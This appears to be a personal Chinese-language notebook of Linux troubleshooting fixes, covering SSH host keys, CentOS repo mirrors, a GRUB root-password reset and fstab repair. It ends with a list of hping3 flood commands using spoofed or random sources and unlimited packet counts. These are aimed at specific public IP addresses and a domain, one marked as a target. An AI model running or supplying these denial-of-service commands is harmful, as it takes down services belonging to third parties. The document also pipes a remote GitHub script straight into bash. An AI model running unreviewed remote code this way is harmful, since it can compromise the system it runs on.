Linux常见错误排查
sshd: no hostkeys available — exiting
在开启SSHD服务时报错. sshd re-exec requires execution with an absolute path 用绝对路径启动,也报错如下:
Could not load host key: /etc/ssh/ssh_host_key Could not load host key: /etc/ssh/ssh_host_rsa_key Could not load host key: /etc/ssh/ssh_host_dsa_key Disabling protocol version 1. Could not load host key Disabling protocol version 2. Could not load host key sshd: no****hostkeysavailable — exiting 解决过程:
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
/usr/sbin/sshd
如果上述两个文件存在,仍然出现这个错误,那么试试 chmod 600 上述两个文件。之后应该可以解决。
linux-webstorm无法打字
在启动脚本中加下面的支持即可,前提是你已经安装了搜过输入法
# webstorem (根据自己的实际情况找到对的文件,大概路径是这样的)
# vim $HOME/.local/share/JetBrains/Toolbox/apps/WebStorm/ch-0/212.5457.55/bin/webstorm.sh
# start ======>
export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS=@im=fcitx
# <=======end
CentOS Linux 8 - AppStream Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist
Step 1: Go to the /etc/yum.repos.d/
directory.
cd /etc/yum.repos.d/
Step 2: Run the below commands
sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
Step 3: Now run the yum update
yum update -y
That’s it!
Failed to download metadata for repo ‘AppStream’ [CentOS]
cd /etc/yum.repos.d/
sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
yum update -y
忘记root密码了怎么办
重启计算机,启动时按下任意键进入grub菜单,如果计算机默认没开启grub菜单按下shift键或者ESC键可以让grub菜单显示
在grub菜单中选择第一个内核,按下“e”进入编辑模式。这是为了编辑选定的启动项以指定一个可编辑状态的内核命令行。
找到以“linux16”开头的行,并将其末尾的“ro”更改为“rw init=/sysroot/bin/sh”。
把系统启动到一个可写模式,并设置启动参数,使之开启一个新的shell。
按下Ctrl-X,启动时将进入一个shell界面。
通过按下Ctrl-X来启动新设置的启动选项,以进入一个安全模式下的shell窗口,而不需要root密码。
输入
chroot /sysroot
进入系统文件目录。输入“passwd root”修改root用户密码。
passwd root # 输入的密码不会显示,重复两次
更改root用户的密码,以便可以进行正常的root用户登录。
重新启动计算机。
如果开启了SELLinux,需要执行命令touch /.autorelabel,然后输入exec /sbin/init命令重启系统,重启计算机,使更改生效,并使用新密码登录root用户。
Centos7系统在开启进入系统报错:
原因
一个主机有两块硬盘,第一块硬盘用来安装刺痛,第二块用来存储文件,现在存储空间不足,需要更换一块硬盘,关机后将硬盘拆下,换上了新的硬盘,然后出现了
Give root password for maintenance(or type Control-D to continue)
原因是我们第二块硬盘进行了启动挂在,导致在启动的是偶无法启动
解决方式
修改 vim /etc/fstab
文件, 将自己加载的磁盘删除或者注释了
#
# /etc/fstab
# Created by anaconda on Wed Mar 15 13:44:07 2023
#
# Accessible filesystems, by reference, are maintained under "/dev/disk"
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=7722986f-f8d1-49aa-b46b-2c4e2f484ac0 / xfs defaults 0 0
UUID=fc965964-1567-45e7-894e-618edf6c5301 /boot xfs defaults 0 0
UUID=3a1c6730-a0e7-4eb8-9ee1-4547bb00f7a4 swap swap defaults 0 0
# /dev/sr0 /media/cdrom xfs 0 0 # 将这行给注释掉,根据自己新增的进行注释
删除腾讯云监控-YDService
wget -qO- https://raw.githubusercontent.com/littleplus/TencentAgentRemove/master/remove.sh | bash
Error: Failed to download metadata for repo ‘appstream’ – CentOS 8
dnf --disablerepo '*' --enablerepo=extras swap centos-linux-repos centos-stream-repos
dnf distro-sync
hping3 -q -n -a 攻击ip -S -s 源端口 --keep -p 目的端口 --flood 被攻击IP
hping3 -q -n -a 192.168.3.200 -S -s 80 --keep -p 80 --flood 1.14.63.64
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source mip.jdidi.cn
sudo hping3 --flood -S 1.14.63.64 -p 80 -i u1000
sudo hping3 --flood -S 1.14.63.64
sudo hping3 1.14.63.64 -c 10000 -d 10000 -S -w 64 -p 80 --flood
目标地址
sudo hping3 -c 999999999 -d 150 -S -w 64 -p 80 -i u1000 220.170.186.139
万引 103.47.81.249
sudo hping3 -c 999999999 -d 150 -S -w 64 -p 80 -i u1000 103.47.81.249
测试
sudo hping3 -c 999999999 -d 150 -S -w 64 -p 8082 -i u1000 1.14.63.64
sudo hping3 --tcp-connect --rate=90000 -c 900000 -q 1.14.63.64
sudo hping3 -c 10000 -d 120 --icmp -w 64 -p 80 -i u1000 --flood --rand-sourcet 1.14.63.64